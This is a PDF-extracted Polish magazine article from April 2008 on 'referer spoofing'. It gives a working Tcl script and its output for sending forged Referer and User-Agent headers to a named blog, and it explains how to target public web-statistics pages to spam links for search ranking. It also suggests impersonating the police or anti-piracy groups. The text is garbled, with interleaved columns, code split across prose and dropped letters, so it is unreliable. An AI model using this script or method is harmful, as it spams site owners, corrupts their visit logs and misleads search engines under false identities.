2008.04_Ataki typu referer spoofing_[Bezpieczenstwo].pdf

(864 KB) Pobierz
332774084 UNPDF
Bezpieczeństwo
Ataki typu referer spooing
referer spooing
Paweł Szcześniak
Współczesny Internet niesie za sobą możliwość skutecznej reklamy. Główną siłą napędową reklamy w
Internecie jest bez wątpienia protokół HTTP – który tworzy powszechnie dziś znana technologia WWW.
R eklama w Internecie to nie zawsze działalność
• OPTIONS,
• CONNECT,
• TRACE.
Jednak nas interesuje tylko jedna metoda żądania: GET.
Żądanie GET służy do pobrania wskazanego przez
klienta zasobu sieci. Przykładowe wywołanie w Li-
stingu 1.
Powyższe wywołanie to żądanie wysłania przez serwer
strona.com pliku o nazwie index.html .
Serwer będzie traktował nas jako przeglądarkę
Opera, zaś link dzięki, któremu kliknęliśmy by wejść
na strona.com znajduje się pod adresem: strona.biz.pk/
linki.html
Protokół HTTP
By przedstawić czym jest referer spooing , należy najpierw
poznać podstawy protokołu HTTP.
Protokół HTTP został opracowany w roku 1989 przez
Sir Tim Berners-Lee w CERT. Pierwszą oicjalną specyika-
cję protokołu HTTP możemy odnaleźć w dokumencie RFC
nr. 1945 z roku 1996.
Istnieje osiem podstawowych metod żądań tego pro-
tokołu:
Listing 1. Metoda żądania GET
GET / index . html HTTP / 1.1
HOST : strona . com
User - Agent : "Opera/9.10 (X11; Linux i686; U;
en)"
Referer : strona . biz . pk / linki . html
• GET,
• HEAD,
• PUT,
• POST,
• DELETE,
70
kwiecień 2008
Ataki typu
prowadzona zgodnie z etyką czy nawet z obo-
wiązującym prawem. W niniejszym artykule
chciałbym przedstawić ataki typu referer spo-
oing i ich zastosowanie w nieetycznym pozycjonowaniu
stron internetowych.
332774084.015.png 332774084.016.png 332774084.017.png
 
Bezpieczeństwo
Ataki typu referer spooing
Listing 2. Implementacja w języku TCL (dostępny na http://www.tcl.tk)
Dla referer spooing istotne jest bliższe
poznanie opcjonalnych parametrów wchodzą-
cych w skład przykładowych metod żądania.
Nas interesują tylko dwa:
#!/usr/bin/env tclsh
# Istniejący adres serwera (w formie quasi DNS)
set target "refspoof.blox.pl"
# Istniejący adres dokumentu http który zamierzamy atakować
set target_url "http://refspoof.blox.pl/html"
Referer pozwala na zdeiniowanie stro-
ny z której przychodzimy (np. poprzez
kliknięcie linka z reklamą)
User-Agent : nazwa klienta dzięki które-
mu łączymy sie z daną stroną (np. prze-
glądarka internetowa).
# Fałszywy referer.
set fake_referer "http://tajemnicza-kraina.gov.pl/"
# Fałszywy User-Agent string. Podszywamy się pod przeglądarke.
set ua "Opera/9.10 (X11; Linux i686; U; en)"
Czym jest ten referer spooing
Mając już wiedzę o tym, jak mniej więcej
funkcjonuje żądanie GET, możemy wreszcie
dowiedzieć się czym jest ten rodzaj ataku.
Referer spooing jest techniką polega-
jącą na sfałszowaniu sekcji referer w żąda-
niu GET.
Dzięki temu możemy wykazać, iż nasze
połączanie pochodzi z wybranej przez nas wi-
tryny – np. ze strony która chcemy zarekla-
mować.
Atak tego typu jest niczym innym, jak
sfalcowanym odpowiednikiem poniższej
sytuacji: Na stronie A znajdujemy link do
strony B. Klikając na powyższy link, w lo-
gach serwera B dowiemy się, iż dzięki na-
główkowi referer klikniecie na link doszło
na stronie A.
Fałszując sekcję referer możemy nie tylko
wskazać, iż referer pochodził z DOWOLNEJ
strony, lecz co więcej, ta strona (i link) nie mu-
szą nawet istnieć.
# Liczba fałszywych żądań wysłanych do serwera
set imax 7
# Port na którym działa atakowany serwer http. Domyślnie 80.
set port 80
set i 0
puts "Atakowanie adresu: $target udając: $fake_referer"
while { $ i < $ imax } {
incr i
set connection [ socket $ target $ port ]
puts $ connection "GET $target_url HTTP/1.0"
puts $ connection "Connection: Keep-Alive"
puts $ connection "User-Agent: $ua"
puts $ connection "Referer: $fake_referer \n\n "
puts $ connection " \n\n "
puts $ connection " \n\n "
lush $ connection
close $ connection
puts $ i
after 1000
}
puts "Zakonczono"
Przykładowa implemetacja
ataku typu referer-spooing
W przykładzie powyżej zastosowaliśmy atak
referer spooing w celu promocji ikcyjnej
witryny http://tajemnicza-kraina.gov.pl/ w
popularnym systemie blogowym blox.pl . W
ten sposób każdy, kto sprawdza statystyki
odwiedzin swojego bloga, może przy okazji
poznać naszą stronę. Poniższy zrzut ekranu
Listing. 3. Wywołanie programu
$ tclsh8 .4 refspoof . tcl
Atakowanie adresu : refspoof . blox . pl
udaj ą c : http : // tajemnicza -
kraina . gov . pl /
1
2
3
4
5
6
7
Zakonczono
Rysunek 1. Screen pokazujący pracę skryptu
www.lpmagazine.org
71
332774084.001.png 332774084.002.png 332774084.003.png 332774084.004.png 332774084.005.png 332774084.006.png 332774084.007.png 332774084.008.png 332774084.009.png 332774084.010.png 332774084.011.png
 
Bezpieczeństwo
Ataki typu referer spooing
prezentuje efekt tego ataku. Oczywiście jest
to dość ograniczona forma reklamy, gdyż jej
jedynym odbiorcą jest właściciel strony kon-
trolujący na bieżąco logi odwiedzin.
tworzonej przez popularną aplikację Weba-
lizer. Graika numer 3 przedstawia przykła-
dowy efekt ataku na tego typu stronę (nie
jest to dzieło autora).
Pojawienie się naszego linku na podob-
nych stronach, pozwala na bardzo szybkie
zindeksowanie jej przez wyszukiwarki inter-
netowe i podwyższenie pozycji naszej stro-
ny w wynikach wyszukiwań. Jest to popular-
na metoda stosowana przez spamerów z całe-
go świata.
Należy jasno zaznaczyć, iż tego ty-
pu działania są prawdopodobnie niezgod-
ne z prawem, i nie należy ich stosować w
praktyce.
Czy istnieje
jakaś forma obrony ?
Niestety nie istnieje jakaś uniwersalna for-
ma obrony przed atakami referer - spoofing ,
gdyż wykorzystuje on fundamenty protoko-
łu HTTP, którego nie można obejść nie ła-
miąc przy okazji standardów tego protoko-
łu zdefiniowanego w dokumentach RFC.
Najprostszą formą obrony jest po pro-
stu nieudostępnianie publicznie szczegóło-
wych statystyk dotyczących wejść na na-
szą stronę.
Inną formą obrony jest logowanie adre-
sów IP atakującego i blokowanie go przy po-
mocy regułek naszej ściany ogniowej(irewal-
la). Jednak budowanie tego typu regułek zna-
cząco wybiega ponad tematykę prezentowa-
nego artykułu.
Szerszy zasięg reklamy
Naszym celem jest oczywiście szersze gro-
no odbiorców, a to można uzyskać poprzez
skierowane naszych ataków na upublicznio-
ne w sieci statystyki odwiedzin danych stron
internetowych.
By odnaleźć tego typu strony wystarczy
wpisać w google: Usage Statistics for . Po-
zwoli nam to na odnalezienie strony, z au-
tomatycznie generowanymi statystykami,
Rysunek 2. Nasze sfałszowane statystyki odwiedzin na blogu
Podsumowanie
Ataki typu referer spoofing są ciekawą i
stosunkowo rzadko omawianą techniką po-
zwalającą na pozycjonowanie stron w in-
ternecie. Spowodowane jest to zapewne
faktem, iż tego typu atak jest niczym in-
nym jak formą fałszerstwa i reklama, przy
pomocy tej techniki jest nie tylko wątpliwa
moralnie ale i prawdopodobnie niezgodna z
obowiązującym prawem.
Z drugiej strony ataki tego typu nie są
zbyt dotkliwe dla właściciela strony na któ-
rej zamierzamy się reklamować , wszakże
wysyłając nasze żądanie fałszujemy jedy-
nie adres pochodzenia naszego kliknięcia
po czym zrywamy połączenie nie pobiera-
jąć żadnych plików z serwera. Dzięki temu
potencjalna oiara nie ponosi kosztów zwią-
zanych z np. ograniczeniem przepustowo-
ści łącza.
W praktyce warto więc ograniczyć się do
atakowania stron znajomych, podszywając się
pod np. organizacje walczące z piractwem czy
policję.
O autorze
Rysunek 3. Przykład wykorzystania ataku referer spooing na upublicznione statystyki strony
Paweł Szcześniak – Pasjonat systemów
Unix-like z Gdańska. Zainteresowany w
szczególności szeroko pojętym bezpie-
czeństwem komputerowym oraz tworze-
niem użytecznych aplikacji do tego celu.
W chwilach wolnych tworzy i testuje giełdo-
we systemy transakcyjne dla rynku Forex
oraz kontraktów terminowych.
Kontakt z autorem: pawelsz@sdf.lone-
star.org
72
kwiecień 2008
332774084.012.png 332774084.013.png 332774084.014.png
Zgłoś jeśli naruszono regulamin